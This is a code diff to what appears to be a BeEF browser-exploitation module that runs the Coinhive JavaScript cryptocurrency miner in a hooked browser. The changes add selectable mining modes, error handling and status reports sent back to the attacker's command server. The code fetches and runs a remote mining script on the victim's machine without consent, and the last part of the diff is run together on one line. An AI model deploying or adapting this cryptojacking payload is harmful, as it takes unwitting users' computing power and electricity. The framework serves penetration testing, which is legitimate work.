diff --git a/modules/misc/coinhive_miner/command.js b/modules/misc/coinhive_miner/command.js
index 40ff18e83..2ce73f662 100644
--- a/modules/misc/coinhive_miner/command.js
+++ b/modules/misc/coinhive_miner/command.js
@@ -4,6 +4,8 @@
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
+ var comm_url = '<%= @command_url %>';
+ var comm_id = <%= @command_id %>;
load_script = function(url) {
var s = document.createElement('script');
@@ -14,24 +16,42 @@ beef.execute(function() {
beef.debug("[CoinHive] Loading library...");
load_script('https://coinhive.com/lib/coinhive.min.js');
- setTimeout("mine('<%= @public_token %>')", 10000);
- mine = function(token) {
+ try {
+ setTimeout("mine('<%= @public_token %>', CoinHive.<%= @mode %>)", 10000);
+ } catch(e) {
+ beef.debug("[CoinHive] Error loading miner: " + e.message);
+ beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
+ return;
+ }
+
+ mine = function(token, mode) {
beef.debug("[CoinHive] Starting the miner...");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Starting the miner');
+ beef.net.send(comm_url, comm_id, 'result=Starting the miner');
- var miner = new CoinHive.Anonymous(token);
- miner.start(); //CoinHive.FORCE_MULTI_TAB);
+ try {
+ var miner = new CoinHive.Anonymous(token);
+ miner.start(mode);
+ } catch(e) {
+ beef.debug("[CoinHive] Error starting miner: " + e.message);
+ beef.net.send(comm_url, comm_id, 'error=' + e.message, beef.are.status_error());
+ return;
+ }
+ miner.on('open', function() {
+ beef.debug("[CoinHive] Opened connection to pool successfully");
+ beef.net.send(comm_url, comm_id, 'result=Opened connection to pool successfully', beef.are.status_success());
+ })
miner.on('authed', function() {
beef.debug("[CoinHive] Authenticated successfully");
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Authenticated successfully', beef.are.status_success());
+ beef.net.send(comm_url, comm_id, 'result=Authenticated successfully', beef.are.status_success());
})
miner.on('error', function(params) {
beef.debug("[CoinHive] The pool reported an error: " + params.error);
if (params.error === 'invalid_site_key') {
miner.stop();
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + params.error, beef.are.status_error());
+ beef.net.send(comm_url, comm_id, 'error=' + params.error, beef.are.status_error());
+ return;
}
})
miner.on('found', function() {
@@ -48,6 +68,6 @@ beef.execute(function() {
var acceptedHashes = miner.getAcceptedHashes();
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
}
- }, 1000)
+ }, 60000)
}
});
diff --git a/modules/misc/coinhive_miner/config.yaml b/modules/misc/coinhive_miner/config.yaml
index ba7037ec8..613a4efa7 100644
--- a/modules/misc/coinhive_miner/config.yaml
+++ b/modules/misc/coinhive_miner/config.yaml
@@ -9,7 +9,7 @@ beef:
enable: true
category: "Misc"
name: "Coinhive Miner"
- description: "This module starts the Coinhive JavaScript Miner."
+ description: "This module starts the Coinhive JavaScript Miner. The following modes are available:
IF_EXCLUSIVE_TAB - The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.
FORCE_EXCLUSIVE_TAB - The miner will always start and immediately kill all miners in other tabs that have not specified 'FORCE_MULTI_TAB'.
FORCE_MULTI_TAB - The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners.
" authors: ["bcoles"] target: user_notify: ['ALL'] diff --git a/modules/misc/coinhive_miner/module.rb b/modules/misc/coinhive_miner/module.rb index 704a05959..251e84e22 100644 --- a/modules/misc/coinhive_miner/module.rb +++ b/modules/misc/coinhive_miner/module.rb @@ -5,11 +5,23 @@ # class Coinhive_miner < BeEF::Core::Command def self.options - [{ 'name' => 'public_token', - 'description' => 'Public Token', - 'ui_label' => 'Public Token', - 'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV', - 'type' => 'text' }] + [{ 'name' => 'public_token', + 'description' => 'Public Token', + 'ui_label' => 'Public Token', + 'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV', + 'type' => 'text' }, + { 'name' => 'mode', + 'type' => 'combobox', + 'ui_label' => 'Mode', + 'store_type' => 'arraystore', + 'store_fields' => ['mode'], + 'store_data' => [ ['IF_EXCLUSIVE_TAB'], ['FORCE_EXCLUSIVE_TAB'], ['FORCE_MULTI_TAB'] ], + 'value' => 'FORCE_EXCLUSIVE_TAB', + 'valueField' => 'mode', + 'displayField' => 'mode', + 'mode' => 'local', + 'autoWidth' => true + }] end def post_execute save({'result' => @datastore['result']})